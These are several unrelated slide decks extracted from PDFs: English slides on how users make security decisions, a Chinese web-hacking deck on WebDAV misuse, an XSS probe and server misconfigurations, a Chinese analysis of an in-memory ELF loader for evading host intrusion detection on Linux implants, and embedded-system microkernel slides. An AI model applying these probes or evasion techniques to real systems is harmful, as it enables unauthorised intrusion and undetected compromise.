trigger immediate negative feedback appears to be a win • This is one reason why users dismiss warning dialogs How Users Really Make Decisions (ctd) When there’s no immediately obvious choice, people’s decision-making abilities go downhill rapidly • Look for some arbitrary distinction, no matter how useless, and go by that – “All of these DVD players are near-identical. I’ll get this one because it has a karaoke function and the others don’t” • Procrastinate • Decide based on irrational emotions This is an appalling way to perform security-related decision making! How Users Really Make Decisions (ctd) Any form of strong emotion (not just job stress) causes inflexible thinking/decision-making • External stimuli reduce our ability to gather information and use working memory to sort out the information that we have Example: Soldiers were trained on how to safely exit a plane • Overheard a (rehearsed) conversation among the pilots discussing how the plane was about to crash • Had great difficulty in recalling their instructions – (… and needed a change of underwear afterwards) • Soldiers who weren’t exposed to the conversation fared much better How Users Really Make Decisions (ctd) These limits on reasoning ability are exploited by stage magicians, who anticipate how observers will reason and then choose ways of doing things that fall outside our ability to think of possibilities • Distraction and misdirection also play a role Example: How to make an item disappear • Ask a bunch of people to list all the explanations that they’d have for how the disappearance worked • Come up with a way of doing it that doesn’t involve any of these expectations • (If the item that disappears is someone else’s money or valuables then you didn’t learn this strategy here) It’s not a Bug, it’s a Feature! The ability to sort out relevant details from the noise is what makes it possible for humans to function The entire human sensory/information-processing system acts as a series of filters to reduce the vast flow of incoming information to the small amount that’s actually needed • Did you notice the sensation of the clothes on your skin before you read this bit? Selective attention processes allow things like the cocktail party phenomenon/source separation problem It’s not a Bug, it’s a Feature! (ctd) Imagine if humans couldn’t take shortcuts in reasoning • They’d never get anything done AI researchers have already run into this problem • Programs had to mechanistically grind through vast numbers of implications to come to a conclusion Known in AI as the frame problem: How do you frame a problem so that it’s practically solvable? • In problem-solving literature it’s called analysis paralysis May be a cause of OCD in humans • People become trapped in a labyrinth of implications • OCD is a means of dealing with the anxiety that results It’s not a Bug, it’s a Feature! (ctd) Researchers have run into the problem of analysis paralysis when evaluating browser security indicators • Users were asked to switch off heuristic decision-making and carefully verify security indicators to check the validity of a site This is the standard “best-practice” advice given to users It’s not a Bug, it’s a Feature! (ctd) Researchers had to abort the experiment • Users spent “absurd amounts of time” trying to verify the site’s legitimacy Switching off singular evaluation lead to a false-positive rate of 63% • Even with singular evaluation switched off, users still failed to detect 36% of false sites It’s not a Bug, it’s a Feature! (ctd) There is one small class of people who use the SEU model for decision-making • People who have sustained damage to the frontal lobes of the brain The medical term for this when it’s done deliberately as part of a medical procedure is “lobotomy” It’s not a Bug, it’s a Feature! (ctd) Neurology professor Antonio Damasio’s account of SEU decision making in a patient with ventromedial prefrontal lobe damage: For the better part of a half-hour, the patient enumerated reasons for and against [the two possible dates for his next appointment ...] he was now walking us through a tiresome cost-benefit analysis, an endless outlining and fruitless comparison of options and possible consequences. It took enormous discipline to listen to all of this without pounding on the table and telling him to stop It’s not a Bug, it’s a Feature! (ctd) In extreme cases overanalysis can cause a complete failure to function • People suffering from somatising catatonic conversion are paralysed by the overhead of having to analyse in infinite detail every decision that they make Evaluating Heuristic Reasoning Researchers have run detailed evaluations of the relative performances of different conceptual models Tests involved applying various strategies to deciding which of two objects scored higher for given criteria • City populations • High school dropout rates • Homelessness rates • House prices • Professor’s salaries • Obesity at age 18 • Fish fertility (!!) • … Evaluating Heuristic Reasoning (ctd) Information available to guide the decision included (for the example of house prices) • Current property taxes • Number of bathrooms • Number of bedrooms • Property size • Total living area • Garage space • Age of the house • … various other factors, up to 18 in total … • (Different strategies used different numbers of factors) Evaluating Heuristic Reasoning (ctd) Example of heuristic reasoning applied to the city population problem • For non-US citizens: Does San Diego have a larger population than San Jose? • For US citizens: Does Munich have a larger population than Dortmund? People tend to choose San Diego/Munich because they’ve heard of them • Better-known → bigger – Hosting a major beer festival doesn’t hurt either • (People do this without even thinking about it) Evaluating Heuristic Reasoning (ctd) When researchers compared this with full-blown multiple regression analysis using all 18 factors, M-R was only slightly better than the simple heuristic! This can’t be right… • Researchers hired independent programming teams in the US and Germany to reproduce the results Published all of their data so that others could replicate it • Others got the same result It’s not a Bug, it’s a Feature! (ctd) Why did simple heuristics perform as well as multiple linear regression? • Linear regression makes use of large numbers of free parameters and assumes that each is relevant • Problem is known as overfitting • Simple heuristics reduce overfitting by filtering out noise It’s not a Bug, it’s a Feature! (ctd) Overfitting problem was confirmed by investigating how the models handled new data after being fed the training data set (generalisation) • Performance of linear regression dropped by 12% – c.f. an IDS trained with Lincoln Labs test data Simple heuristics was left as the overall winner It’s not a Bug, it’s a Feature! (ctd) Another experiment compared a Bayesian network to simple heuristics • The ultimate expression of the economic decision-making model Full-blown Bayesian network performed only marginally better than the simple heuristics, but at a massively higher cost It’s not a Bug, it’s a Feature! (ctd) OK, sometimes this can be a bit of a bug… • Marketers exploit it through techniques like brand recognition – Active penetration attack on the human decision-making process • Consumers use heuristic decision making to choose recognised brands over unrecognised ones – See later slides on geeks vs. normal humans for more on this (Fraudsters and marketers figured this out empirically long before psychologists had explored it) Conseq.of the Decision-making Process Psychologists distinguish between two types of actions taken in response to a situation Controlled processes • Slow and costly in terms of mental effort • Provide a great deal of flexibility in handling unexpected situations Automatic processes • Quick, little mental overhead • Acting on autopilot, little control or flexibility Conseq.of the Decision-making Process (ctd) Example: Novice vs. experienced drivers • Novice driver has to manually and consciously check mirrors, change gears, … • Experienced driver performs these as an automatic process • Novice drivers deal with this by load-shedding – Sacrifice driving speed for steering control This effect is particularly nasty when it occurs with complex control systems • Aircraft cockpits (situational awareness problem) • Nuclear reactors • … Conseq.of the Decision-making Process (ctd) You can experience load-shedding during a controlled process yourself by writing the weekday repeatedly on a piece of paper • At some point start counting backwards from 100 • Look at what happens to your handwriting quality or speed – This is your brain load-shedding Now try it again, but this time sign your name (automatic process) Conseq.of the Decision-making Process (ctd) Automatic processes are people acting on autopilot • Once the correct stimulus is presented, it’s very hard to stop People click away warning dialogs without thinking • This is an automatic process, performed without conscious awareness The action is not only automatic, but people aren’t even aware afterwards that they’ve done it • “Did I lock the door/leave the iron on/…?” • Can you recall the driving-related actions you performed while driving to work? Conseq.of the Decision-making Process (ctd) Microsoft has encountered this in its automatic update system • Users swatted away update dialogs without even knowing that they’d done it • Many Windows systems are so riddled with adware and popups that this would be a natural action for users Windows XP SP2 changed the update process to nagware to get around this Conseq.of the Decision-making Process (ctd) This occurs outside the computer world as well… • British trains have a safety feature called the Automatic Warning System (AWS) in which the engine driver has to press a button within 3s of passing a danger signal • If they fail to do so, the brakes are automatically applied The system had design flaws that habituated drivers into cancelling unnecessary warnings • Technical term is Signal Passed At Danger or SPAD • In 1989 a driver went through two successive signals in this manner and killed five people • If your security system has a defect significant enough to have its own acronym then it’s probably a sign that you need to fix it Confirmation Bias Humans are bad at generating testable hypotheses • Phenomenon is called confirmation bias • Try and prove, rather than disprove, a theory Humans will look for (or cook) the facts in order to support the conclusions that they want to reach • Dissonance-motivated selectivity, look for material that avoids cognitive dissonance (challenging your opinions) Confirmation Bias (ctd) How do you check whether a web site is valid? • Enter your name and password • If the site accepts the password, it’s valid (If the security geeks had actually designed the mechanisms properly, this would be a valid site test) Confirmation Bias (ctd) US Navy addressed the problem of confirmation bias in tactical decision making after the Vincennes shootdown of an Iranian airliner in 1988 Introduced the STEP cycle for decision-making • Create a Story (hypothesis) • Test the hypothesis • Evaluate the results Makes creating a testable hypothesis an explicit part of the decision-making cycle • Unfortunately a person in front of a security dialog hasn’t had US Navy training and constant drilling to assist them Other Biases Disconfirmation bias • People are more likely to accept an invalid but plausible conclusion than a valid but implausible one • “This site looks and acts like my bank site, even if it’s in eastern Europe. The browser must have got the URL wrong or something” Blind-spot bias • We can’t see our own cognitive biases You just can’t win! Other Biases (ctd) CIA has published a special manual on dealing with biases • Agency was particularly concerned with projection bias, a.k.a. “everyone thinks like us” bias • “Psychology of Intelligence Analysis”, available online from www.cia.gov Well worth reading, since some of the techniques are also useful for performing security analyses • The other side has authenticated themselves, from now on we can trust anything that they send us Other Biases (ctd) Has hit numerous SSH implementations (client and server) • Only check data validity before the user-auth phase • The peer would never dream of authenticating itself and only then sending a malformed packet Other Biases (ctd) Widespread in other implementations as well • Unix access control: Only check security on the first access • Signed ActiveX controls: It’s signed, it’s gotta be OK – Signed anything: All it means is that someone paid a CA for a magic token to turn off the warning dialogs • Confused deputy problem – Solaris automountd, … • Internet kiosks – “Are you sure you want to install ikat.xpi?” • Firewalls and the firewall mentality • … Rationality Once users adopt a particular belief, they’re remarkably reluctant to change it • “Einstellung”, from Gestalt psychology Rationality (ctd) Example: Analysing suicide notes as a “problem-solving exercise” • Users were evaluated based on their performance in distinguishing fake and genuine suicide notes • Were given feedback that they’d done well or poorly • Finally, they were told that the ratings that they’d been given were completely random (with supporting paperwork) Users continued to rate themselves based on this completely fictitious, randomly-chosen information Rationality (ctd) Receiving a particular type of feedback creates a search for further confirmatory evidence to support it The Barnum effect, “we’ve got something for everyone” • More formally the subjective validation effect Rationality (ctd) Also known as the Forer effect • Bertram Forer gave students personality analyses assembled from horoscopes and asked them to rate their applicability on a 5-point Likert scale • Average rating given by the students was 4.26 – Very high rating when you consider central tendency bias • They had all been given the same generic “personality analysis” This (combined with cold reading) is the bread-and-butter of generations of psychics, tarot readers, and crystal-ball gazers Rationality (ctd) Example: Professional palm-reader was given a high accuracy rating by his customers • Researchers asked him to tell them the opposite of what his readings showed for a one-week trial • Customers rated him equally well for accuracy Example: Subjects were given a political statement to read • Those told that it was by Thomas Jefferson thought it advocated political debate • Those told that it was by Lenin thought it advocated violent revolution Rationality (ctd) There are many, many results like this • Experimental psychologists like doing this with people :-) Real-world example: Try reading a description of some new medicine or therapy • How many of the symptoms of whatever it’s meant to cure do you suffer from? Security and Rationality Our brains evolved for survival and reproduction, not to automatically seek the truth • Quick and dirty techniques serve evolution better than purely rational ones • It’s better to be wrong than … We can rationalise away almost anything Security and Rationality (ctd) Example: Subjects were given a canned biography on someone along with a random snippet of information like “He joined the Navy” or “He committed suicide” • In every case they could explain the snippet via some item in the short bio – Sometimes the same item was used to explain away diametrically opposite facts • When subjects were told that the information was fictitious, they still maintained their beliefs – c.f. earlier suicide-note analysis experiment Security and Rationality (ctd) Example: Researchers created “inexplicable” situations by giving subjects two sentences covering totally unrelated events Kenneth made his way to a shop that sold TV sets. Celia had recently had her ears pierced • Subjects had ten seconds to come up with an explanation • 71% of them could Sentences were changed to contain a common referent Celia made her way to a shop that sold TV sets. She had recently had her ears pierced • 86% of subjects were able to come up with an explanation Security and Rationality (ctd) People will concoct plausible explanations for something and continue to believe it even if they’re shown that the evidence for their conclusion is wrong • This plays straight into the hands of con artists and phishers Security and Rationality (ctd) Example: Humans going to a phishing site (part of a phishing study) www.ssl-yahoo.com must be a “subdirectory” of Yahoo! sign.travelocity.com.zaga-zaga.us is probably an outsourcing site for travelocity.com The company running the site probably had to register a different name from its brand because the name was already in use by someone else Other sites use IP addresses instead of domain names so this IP-address-only site must be OK Sites use redirection to a different site so this one must be OK … Reasoning this way is normal human behaviour! Security and Rationality (ctd) Extreme example: Patients whose brain hemispheres have been separated in order to treat severe epileptic attacks • Split-brain/corpus callosotomy • Left brain was able to rationalise away what the right brain was doing even though it literally had no idea why it was doing it An example of a phenomenon called illusory correlation • People see connections where there aren’t any Security and Rationality (ctd) Example: Subjects were shown drawings of humans supposedly done by people who had been matched to random psychiatric disorders • Reported various signs in the drawings that were indicative of the disorders • (Like the Rorschach test, the Draw-a-Person diagnosis method used to be common in psychiatry until experimental psychologists showed that the “results” obtained were meaningless) – They show something about the person who set the test, but not the subject (Experimental psychologists really like messing with people :-) Security and Rationality (ctd) Example: Human vision • Humans have a blind spot at the back of the retina where the optic nerve attaches to the eyeball – No visual nerves present to register an image • The mind fills in the blanks based on data from the surrounding area to patch over this bug Octopi have a properly-designed eyeball • Photoreceptors are located in the inner portion of the eye, optic nerves are located in the outer portion of the retina • This is great for annoying intelligent design advocates: The designer of humans made a mistake – Junk DNA is actually a bunch of FIXME / TODO / BUG comments Security and Rationality (ctd) Example: Confabulation across saccades • Our eyes are constantly making small jerky movements called saccades • The mind smoothes out our vision during these movements – We’re actually blind during saccades, so changes in a scene don’t register because they’re smoothed over by the mind – Frozen second-hand phenomenon on a watch (chronostasis) Example: Filling in obliterated words in a conversation • Use a cough to mask words in a recording • Different listeners “hear” different words that are filled in by the brain (phonemic restoration) Security and Rationality (ctd) Self-deception isn’t a bug but a psychological defence mechanism Depressed people have a better grasp of reality than non- depressed people, not the other way around • Phenomenon is called depressive realism Depressives suffer from a deficit in self-deception • Depressed people’s decision-making is closer to data-driven SEU • Non-depressed people follow a more flexible heuristic approach • Serotonin deficiency gives a narrow focus of attention and discourages potentially risky heuristics Security and Rationality (ctd) What about removing emotions from decision-making? • People occasionally incur damage to the amygdala, a part of the primitive lymbic system involved in the processing of emotions • This should lead to completely rational, logical decision- making In practice people with this type of brain damage are very poor decision-makers • They don’t know what they care about any more Security and Rationality (ctd) High levels of self-deception are strongly correlated with conventional notions of good mental health • If the self-deception is removed, various mental disorders may emerge No matter which “fixes” (accidental or deliberate) you try and apply to improve things, they invariably make things worse rather than better The “Simon Says” Problem Users are required to change their behaviour in the absence of a stimulus Problem is well-known to social psychologists • Experts in some cases will notice the absence of a particular cue • Novices don’t know what’s supposed to happen and so won’t notice when it doesn’t happen The “Simon Says” Problem (ctd) Example: Subjects are shown sets of trigrams with a special feature • After (on average) 34 sets of trigrams, they figured out that the special feature was the presence of the letter ‘T’ • No-one was able to detect the absence of the letter ‘T’, no matter how many trigrams they saw – Users were totally unable to detect the absence of a stimulus This is exactly what browser UI designers expect us to be able to do! • We have to detect the absence of a stimulus like a padlock The “Simon Says” Problem (ctd) People find negative information far more difficult to process than positive information • Educational psychologists advise educators to present information as positively-worded truths, not negatively-worded non-facts The “Simon Says” Problem (ctd) Example: Propositional calculus problems used by psychologists If today is not Wednesday, then it is not a public holiday. Today is not a public holiday. • Is today not Wednesday? – People find these problems far harder to evaluate than positive-information ones Example: Browser security indicators If the padlock is not showing then the security is not present. • You couldn’t make this any worse if you deliberately designed it this way! Inattentional Blindness People don’t register objects unless they’re consciously paying attention to them • Humans have a deficit of something called “attention” • Whatever this is, we don’t have enough of it to go round Attention is tied to change and the motion signals that accompany it • Think of a predator creeping up on its prey • Lack of motion signals → inability to spot change fMRI has shown that we really are totally blind to the stimulus Inattentional Blindness (ctd) Best-known example is “Gorillas in our Midst” • Subjects were asked to watch a basketball game with players dressed in black and white • Told to count the number of times that each team bounced the ball • In the middle of the game, a person in a gorilla suite pranced across the court • Only 54% of users noticed – This amazing demonstration is often shown in pop- psychology programs on TV Inattentional Blindness (ctd) Commonly encountered on the road • Drivers are looking for cars (and in some cases pedestrians), but not non-cars – Technical term from aircraft control is “tunneling of attention” • Bike riders are non-cars and therefore practically invisible to motorists It’s possible to change your bike’s profile from “not-a-car” to “car” by mounting two driving lights far apart on a frame • (Then your bike looks really ugly) Inattentional Blindness and Security The padlock and other security indicators are a perfect match for inattentional blindness • Researchers have found up to 100% failure rates for these indicators IE6 SP2 added a security bar to warn users of security issues • One usability test found that not one user had noticed its presence Even the more obvious security indicators like browser security toolbars fall victim to this • One study found that 39% of users were fooled by phishing sites across the entire range of toolbars Inattentional Blindness and Security (ctd) Windows Vista added UAC dialogs to warn users of (potential) security issues • Informal tests revealed that no-one had noticed that it had different colours in different situations • Now try and find out what the colours actually signify… Geeks vs. Humans The geeks who build computer software don’t think like normal humans Example: Brand recognition • Consumer-electronics store has two DVD players, a Philips and a Kamakuza • Normal humans look at the Philips brand and buy it – Simple heuristics (RPD) • Geeks will see that the Kamakuza player supports DivX, XviD, WMA, and Ogg Vorbis, has an external USB input and SD card slot for playing alternative media, and buy it – Economic/Bayesian model Geeks vs. Humans (ctd) For both sides this is a perfectly natural, sensible way to make a decision • Both have come to completely opposite conclusions Source: XKCD Geeks vs. Humans (ctd) Geek vs. human MBTI traits • MBTI is a widely-used psychometric for personality traits – (Classifies personalities by Jungian personality types, not necessarily a personality test) Geeks tend to be *TJ types • Computer security people have a preponderance of INTJ’s – (Geek → *TJ doesn’t mean *TJ → Geek) Why does this make geeks weird? • Only 7% of the population has the *TJ profile 93% of users that geeks build software for think entirely differently from them Geeks vs. Humans (ctd) Final example of the difference between geeks and normal humans All of Anne’s children are blond Does it follow that some of Anne’s children are blond? • (For logicians, assume that Anne has a nonzero number of children) Geeks vs. Humans (ctd) Most geeks would agree that the inference (a subalternation in Aristotlean logic) from “all A are B” to “some A are B” is valid 70% of normal humans consider this invalid • This result is consistent across different cultures and re- phrasings of the problem (in the jargon, it is robust) The people creating the security software just don’t think like the majority of the people using it Conclusion Humans’ minds work very differently from geeks’ minds • Many applications are written by geeks for geeks • (Even supposedly user-friendly ones) The mind works in very counterintuitive ways • There are good reasons for the behaviour, but they’re not at all obvious Geeks are weird • (No, really)
pdf
July 19, 2005 C 1 Hacking from WEB 行政院 國家資通安全會報 技術服務中心 For HIT2005 Charmi Lin C 2 前言 •網站伺服器(Web Server),幾乎是每一個 組織單位在網際網路上都必須要提供的網 路服務。 •WEB管理失當的危險 C 3 常見的WEB弱點 • 伺服器應用程式Buffer Overflow • MISConfiguration(配置失當) • 使用者輸入驗證上的錯誤 • 網頁程式邏輯上的錯誤 • 程式輸出錯誤 • 密碼管制失當 C 4 Buffer Overflow •常被使用也最容易修補、發現 •修補方式僅需安裝廠商的修補程式即可 C 5 MISConfiguration •目錄權限失當 –Windows 2000預設將inetpub\wwwroot目錄給 於everyone完全的控制權限(可以執行、讀取、 寫入) –User將Apache使用root權限執行 C 6 MISConfiguration •提供功能失當 –WEBDAV的支援 –湯姆貓的8005 port C 7 WebDAV •WebDAV是什麼? •"Web-based Distributed Authoring and Versioning". •它是一組由 HTTP/1.1 的功能延伸出來的 通訊協定,讓用戶端發行(公佈資源讓他人 使用)、鎖定、並管理 Web 上的資源,使得 使用者們得以經由網頁來共同編輯、整 理、管理檔案資料。 C 8 WebDAV的『好處』 •啟用WebDAV的好處??? –具有權限的使用者就可以在 WebDAV 目錄中自由複製、尋找 、 刪除並移動檔案。 –修改與某些資源相關的內容。 舉例來說,使用者可以寫入並取回 檔案的內容資訊。 –將資源鎖定或解除鎖定,如此多位使用者可同時讀取檔案,但一 次只有一個人可以修改檔案。 –搜尋 WebDAV 目錄中的檔案的要旨與內容。舉例來說,您可以搜 尋所有含有 table 這個字的檔案,或是搜尋所有由 Fred 建立的檔 案。 誰是有權限的使用者? 誰可以決定要不要用webdav功能? 好處真的是好處嗎? C 9 WebDAV指令 • OPTIONS ? 可以查詢網站提不提供WebDAV指令 OPTIONS * HTTP/1.1 Host: localhost HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Fri, 11 Aug 2000 14:09:10 GMT Content-Length: 0 Accept-Ranges: bytes DASL: <DAV:sql> DAV: 1, 2 Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN D, PROPPATCH, LOCK, UNLOCK, SEARCH Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND , PROPPATCH, LOCK, UNLOCK, SEARCH Cache-Control: private C 10 WebDAV指令 •HEAD ? 查詢檔案存不存在 HEAD /dir/ HTTP/1.1 Host: iis-server Content-Length: 0 C 11 WebDAV指令 •PUT 直接上傳檔案 •Delete 刪除檔案 •Move 搬移檔案 C 12 MISConfiguration •元件配置失當 –FrontPage Server Extension元件 C 13 FrontPage Server Extension漏洞 •什麼是FrontPage Server Extension –一套功能強大的網站管理軟體,支援 FrontPage 中的HTML 編輯製作;並擴充 Web 伺服器功能之程式及 Script 的集合,讓使用者 可以快速地進行搬移檔案、檢查超連結等動 作,管理整個網站 又是一樣的老問題: 誰有權利可以透過FrontPage來管理網站? 誰可以決定要不要啟用FrontPage Server Extension功能? C 14 FrontPage Server Extension漏洞 •誰有權利可以透過FrontPage來管理網站?Windows的 存取控制 •!!!!!!Windows預設Everyone擁有檔案的完全控制權 任何人都可以透過 FrontPage來管理你 的網站 C 15 FrontPage Server Extension漏洞 •誰可以決定要不要啟用FrontPage Server Extension功能? !!!!預設會安裝FrontPage Server Extension!!!! C 16 MISConfiguration •範例檔配置失當 –IIS showcode.asp –Php phpinfo.php –Tomcat pageInfo.jsp C 17 MISConfiguration •網頁編輯器失當 –old –bak –~ C 18 使用者輸入驗證上的錯誤 •SQL Injection •XSS •Code injection •路徑跳脫 C 19 XSS •http://IP/<SCRIPT>foo</SCRIPT> C 20 程式邏輯上的錯誤 •僅對使用者是否有權限讀取檔案作管理 •僅對登入畫面做權限控管 •將重要的資料放在Form表單的隱藏欄位中 •使用教科書上的檔名、目錄 C 21 程式輸出錯誤 C 22 密碼管制失當 C 23 案例說明-OfficeScan隱含弱點事 件 •Trend Micro OfficeScan CGI Directory Insufficient Permissions Vulnerability –Trend Micro OfficeScan Corporate Edition 3.0 –Trend Micro OfficeScan Corporate Edition 3.5 –Trend Micro OfficeScan Corporate Edition 3.11 –Trend Micro OfficeScan Corporate Edition 3.13 –Trend Micro OfficeScan Corporate Edition 3.54 –Trend Micro Virus Buster Corporate Edition 3.52 –Trend Micro Virus Buster Corporate Edition 3.53 –Trend Micro Virus Buster Corporate Edition 3.54 –皆有弱點 C 24 案例說明-OfficeScan隱含弱點事 件 •正常的登錄畫面 –擁有密碼的人才有權利進入系統 ??? C 25 案例說明-OfficeScan隱含弱點事 件 •只要知道檔案放在哪裡,就可以竄改密碼!!!!!!! C 26 恭請指正
pdf
Trustedsec ELFLoader 原理简析 0x01 简介 各类的 elfloader 一般都是内存解析或读取 elf 文件而后执行。其中有简单的例如之前讲到的 Linux 无文件攻击姿势,但是缺点也很明显例如 proc 特征、无法保护 load 的文件。今天分析 一个另一种类型的 eldloader,简要分析一下是如何实现的。项目为 trustedsec 出品 (https://github.com/trustedsec/ELFLoader)。 0x02 Loader 技术细节 查看项目结构。 主要功能实现逻辑都在 ELFLoader.c 中,为了能跨平台运行可以看到做了一些适配性工作, 将大部分类如输出打印、字符处理等函数都放入了 beacon_compatibility.c 文件中。 值得一提的是或许为了 opsec 考虑,它将传参通过编码后传给 elfloader。编码方式位于 beacon_generate.py 脚本中,操作为对字符串先进行二进制格式打包后进行 hex 编码。 参数传入 elfloader 后,main 函数中读取 elf 文件,并由 unhexlify()函数 decode 传入参数,完 成后将 elf 文件及参数传入 ELFRunner()进行解析 elf 文件。 进入函数后首先定义了一个结构体如上,也是这个函数将要完成的主要功能,即解析 elf 后 将对应节区存入对应结构体。 而后判断传入的文件格式是否为 elf 格式,是否为可重定位文件及系统位数。之后即为两个 for 函数遍历节头表完成 elf 文件解析。 如上,在遍历过程中通过识别节区是否是存放符号表的节区,而后进入循环寻找指定函数入 口点,寻找方法是对比符号名,找到后将地址赋给指针函数 PTR。 最后,通过指针直接调用。 0x03 bof 插件细节 如上格式,其他的 bof 文件也相同,均以 go 函数作为入口,为了方便调试可以看到下面还 有条件编译预留的 main 入口。这里也可以不使用 go 作为入口,修改下源码也可以指定其他 函数进行指针调用。 0x04 集成方式 朋友提交了 issue,工具很快就支持共享库(.so)了,可方便的集成到自己的工具或马中。 0x05 最后 从功能角度看,该工具完成了 bof 思路在 linux 下的简单实现,可有效绕过 hids 的 execve 监 控,实现常见命令 bof 化。 但该方式在 linux 平台来说还不是很优雅,从使用角度看如果将这个 loader 改为远程加载, 流量方面又没有了优势,因为 bof 化本身大家都不想让文件落地而是在内存中执行,那么每 次执行命令都不落地远程加载的话流量会太明显。 如果从 execve 监控绕过方面看,有其他方式更为简便如 busybox shell 或其他类型的 elfloader 来实现。 最后,实现一个好用的 linux 马越来越重要,入口点的 shell 如果因为 hids 不小心掉了,还是 很伤心的,博取各种思路所长或改造或重写是更加好的选择。
pdf
Embedded System Design: From Electronics to Microkernel Development Rodrigo Maximiano Antunes de Almeida E-mail: rmaalmeida@gmail.com Twitter: @rmaalmeida Universidade Federal de Itajubá Creative Commons License The work ”Embedded System Design: From Electronics to Microkernel Development” of Rodrigo Maximiano Antunes de Almeida was licensed with Creative Commons 3.0 – Attribution – Non Commercial – Share Alike license. Additional permission can be given by the author through direct contact using the e-mail: rmaalmeida@gmail.com Workshop schedule ● Electronic building ● Board programming ● Kernel development Electronic building ● Electronics review ● Schematics ● Protoboard/breadboard ● System design ● Basic steps ● Microcontroller ● LCD ● Potentiometer Electronics review ● http://xkcd.com/730/ Schematics ● Way to represent the components and its connections ● Each component has its own symbol ● Crossing wires only are connected if joined with a dot Protoboard/Breadboard System design ● Steps on a generic electronic system design ● Define the objective(s) ● Choose the main components needed to achieve the objective ● Get the use example and recommendations from component datasheet ● Build the schematics ● Simulation of HW elements ● Board layout Datasheets ● The main source of information concerning electronics ● Presents ● Electrical characteristics ● Simplified schematics ● Use example ● Opcodes/API System design ● Objective ● Build digital voltage reader ● Main components ● Microcontroller ● LCD text display ● Potentiometer Microcontroller ● System-on-a-chip ● Processor ● Memory ● Input/Output peripherals ● Communication ● Safety components Microcontroller ● Xtal configuration ● Reset pin ● DC needs ● Many peripherals on the same pin LCD Display LCD Display ● Data connection ● Backlite ● Current consumption ● Power on time/routine Potentiometer ● Linear/Log ● Used as voltage divisor ● Need an analog input ● Filter System design ● Cad tool: Fritzing (fritzing.org) 1 ● Hands On! Board programming ● Programmer ● IDE ● Basic concepts ● CPU Architecture ● HW configuration ● Memory access ● First program (He110 DEFC0N) ● Peripheral setup ● Second program (ADC read) Board programming ● Programmer ● PICkit3 ● Can use ICSP ● Can program a lot of Microchip products ● Also a debugger Board programming ● IDE ● MPLABX – Based on Netbeans ● Compiler ● SDCC – Based on GCC ● GPUtils Basic concepts ● PIC architecture Basic concepts ● Memory segmentation Basic concepts ● HW configuration Basic concepts ● HW configuration ● Some options must be set before the program start ● This can only be accomplished by special instructions ● Compiler datasheet //CONFIG.H // No prescaler used __code char __at 0x300000 CONFIG1L = 0x01; // HS: High Speed Cristal __code char __at 0x300001 CONFIG1H = 0x0C; // Disabled-Controlled by SWDTEN bit __code char __at 0x300003 CONFIG2H = 0x00; // Disabled low voltage programming __code char __at 0x300006 CONFIG4L = 0x00; Basic concepts Basic concepts Basic concepts ● Build a pointer to a specific memory address: void main (void){ char *ptr; //pointing to the port D ptr = 0xF83; //changing all outputs to high *ptr = 0xFF; } //this is not an infinite loop! while(PORTD==PORTD); Basic concepts ● Building a header with all definitions ● __near = sfr region ● Volatile = can change without program acknowledge //BASIC.H #define PORTD (*(volatile __near unsigned char*)0xF83) #define TRISC (*(volatile __near unsigned char*)0xF94) First program ● Open MPLABX IDE ● configure SDCC and PICkit ● Create a project to: ● Initialize LCD ● Print "He110 DEFC0N" LCD communication ● The data is always an 8 bit information ● It may be split in two 4 bit "passes" ● The data may represent a character or a command ● They are distinguished by RS pin ● The data must be stable for "some time" ● In this period the EN pin must be set void LCD_comm(unsigned char data, char cmd){ if (cmd) BitClr(PORTE,RS); else BitSet(PORTE,RS); BitClr(PORTE,RW); // writing PORTD = cmd; BitSet(PORTE,EN); //enable read Delay40ms(); BitClr(PORTE,EN); //finish read } LCD communication void LCD_init(void){ char i; for (i=0; i<200; i++) Delay2ms(); // garante inicialização do LCD // terminal configuration BitClr(TRISE,RS); //RS BitClr(TRISE,EN); //EN BitClr(TRISE,RW); //RW TRISD = 0x00; //data //display initialization EnviaComando(0x38); //8bits, 2 lines, 5x8 EnviaComando(0x06); //increment mode EnviaComando(0x0F); //cursor ON EnviaComando(0x03); //clear internal counters EnviaComando(0x01); //clean display EnviaComando(0x80); //initial position } LCD communication Peripherals setup ● Get on the datasheet the information about the peripheral registers and configuration info Peripherals setup ● ADC void ADC_init(void) { BitSet(TRISA,0); //pin setup ADCON0 = 0b00000001; //channel select ADCON1 = 0b00001110; //ref = source ADCON2 = 0b10101010; //t_conv = 12 TAD } ADC setup unsigned int ADC_read(void) { unsigned int ADvalue; BitSet(ADCON0,1); //start conversion while(BitTst(ADCON0,1)); //wait ADvalue = ADRESH; //read result ADvalue <<= 8; ADvalue += ADRESL; return ADvalor; } ADC setup Second program ● Read ADC value and present in LCD A little break to follow 3-2-1 DEFC0N rule! Could not found any picture of Garfield taking shower =/ //today topics void main (void){ //variable declaration kernel_project(1); //initialization concepts(2); //hard-work microkernel(3); device_driver_controller(4); } void kernel_project (float i){ what_is_a_kernel(1.1); alternatives(1.2); monolithic_vs_microkernel(1.3); kernel_design_decisions(1.4); this_course_decisions(1.5); } kernel_project(1); what_is_a_kernel(1.1); kernel_project(1); kernel_project(1); ● Kernel tasks: 1)Manage and coordinate the processes execution using “some criteria” 2)Manage the free memory and coordinate the processes access to it 3)Intermediate the communication between the hardware drivers and the processes kernel_project(1); Develop my own kernel? Why? kernel_project(1); ● Improve home design ● Reuse code more efficiently ● Full control over the source ● Specific tweeks to the kernel ● Faster context switch routine ● More control over driver issues (interrupts) kernel_project(1); Develop my own kernel? Why not? kernel_project(1); ● Kernel overhead (both in time and memory) ● Free and paid alternatives ● Time intensive project ● Continuous development kernel_project(1); kernel_project(1); ● Alternatives ● Windows Embedded Compact® ● VxWorks® ● X RTOS® ● uClinux ● FreeRTOS ● BRTOS kernel_project(1); ● Monolithic kernel versus microkernel ● Linus Torvalds and Andrew Tanenbaum kernel_project(1); ● Kernel design decisions ● I/O devices management ● Process management ● System safety kernel_project(1); ● Our decisions: ● Microkernel ● Non-preemptive ● Cooperative ● No memory management ● Process scheduled based on timer ● Isolate drivers using a controller void concepts (float i){ function_pointers(2.1); structs(2.2); circular_buffers(2.3); temporal_conditions(2.4); void_pointers(2.5); } concepts(2); function_pointers(2.1); concepts(2); ● Necessity: ● Make an image editor that can choose the right function to call ● 1st Implementation ● Use a option parameter as a switch operator concepts(2); image Blur(image nImg){} image Sharpen(image nImg){} image imageEditorEngine(image nImg, int opt){ image temp; switch(opt){ case 1: temp = 